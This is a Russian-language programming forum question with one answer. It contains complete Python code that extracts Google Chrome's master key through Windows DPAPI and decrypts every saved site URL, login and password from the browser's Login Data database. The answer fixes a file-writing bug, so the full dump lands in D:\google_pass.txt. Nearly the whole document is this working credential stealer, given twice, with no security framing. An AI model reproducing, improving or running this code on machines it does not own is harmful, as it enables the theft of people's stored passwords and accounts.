Пароли google-chrome

Рейтинг: -1Ответов: 1Опубликовано: 16.05.2023

Хочу отправить все данные на диск D в текстовом документе. Создаю документ, записываю.

with open ('D:\\google_pass.txt', 'w+') as f:
                    f.write(text)

В командной строке все данные сайтов отображаются , а в текстовом документе, который создался лежит только один сайт (последний). С чем это связано?

import os 
import shutil
import base64 
import sqlite3
import win32crypt
import re
from Cryptodome.Cipher import AES

Chrome_pass = os.getenv('LOCALAPPDATA') + r"\Google\Chrome\User Data\Default\Login Data"
Key = os.getenv('LOCALAPPDATA') + r"\Google\Chrome\User Data\Local State"


def Chrome():
    if os.path.exists(Chrome_pass) == True:
        with open (Key, 'r') as f:
            matches = re.findall(r'"encrypted_key":"(.+?)"', f.read())
            key = base64.b64decode(matches[0])[5:]
            decryption_key2 = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
            shutil.copy2(Chrome_pass, 'databasepass.db')
            conn = sqlite3.connect('databasepass.db')
            cursor = conn.cursor()
            cursor.execute('SELECT origin_url, username_value, password_value FROM Logins')
            show = cursor.fetchall()
            for origin_url, username_value, password_value in show:
                initialization_vector = password_value[3:15]
                password = password_value[15:-16]
                gsm = AES.new(decryption_key2, AES.MODE_GCM,initialization_vector)
                decrypted_pass = gsm.decrypt(password)
                paass = decrypted_pass.decode()
                text = origin_url + '\n' + username_value + '\n' + paass + '\n'
                print(text)
                with open ('D:\\google_pass.txt', 'w+') as f:
                    f.write(text)
Chrome()

Ответы

▲ 0

Вы каждый раз открываете файл ещё раз хотя нужно открывать один иначе файл будет перезаписываться. Вот исправленный код:

import os
import shutil
import base64
import sqlite3
import win32crypt
import re
from Cryptodome.Cipher import AES

Chrome_pass = os.getenv('LOCALAPPDATA') + r"\Google\Chrome\User Data\Default\Login Data"
Key = os.getenv('LOCALAPPDATA') + r"\Google\Chrome\User Data\Local State"


def Chrome():
    if os.path.exists(Chrome_pass) == True:
        with open (Key, 'r') as f:
            matches = re.findall(r'"encrypted_key":"(.+?)"', f.read())
            key = base64.b64decode(matches[0])[5:]
            decryption_key2 = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
            shutil.copy2(Chrome_pass, 'databasepass.db')
            conn = sqlite3.connect('databasepass.db')
            cursor = conn.cursor()
            cursor.execute('SELECT origin_url, username_value, password_value FROM Logins')
            show = cursor.fetchall()
            with open('D:\\google_pass.txt', 'w+') as f:
                for origin_url, username_value, password_value in show:
                    initialization_vector = password_value[3:15]
                    password = password_value[15:-16]
                    gsm = AES.new(decryption_key2, AES.MODE_GCM,initialization_vector)
                    decrypted_pass = gsm.decrypt(password)
                    paass = decrypted_pass.decode()
                    text = origin_url + '\n' + username_value + '\n' + paass + '\n'
                    print(text)
                    f.write(text)
Chrome()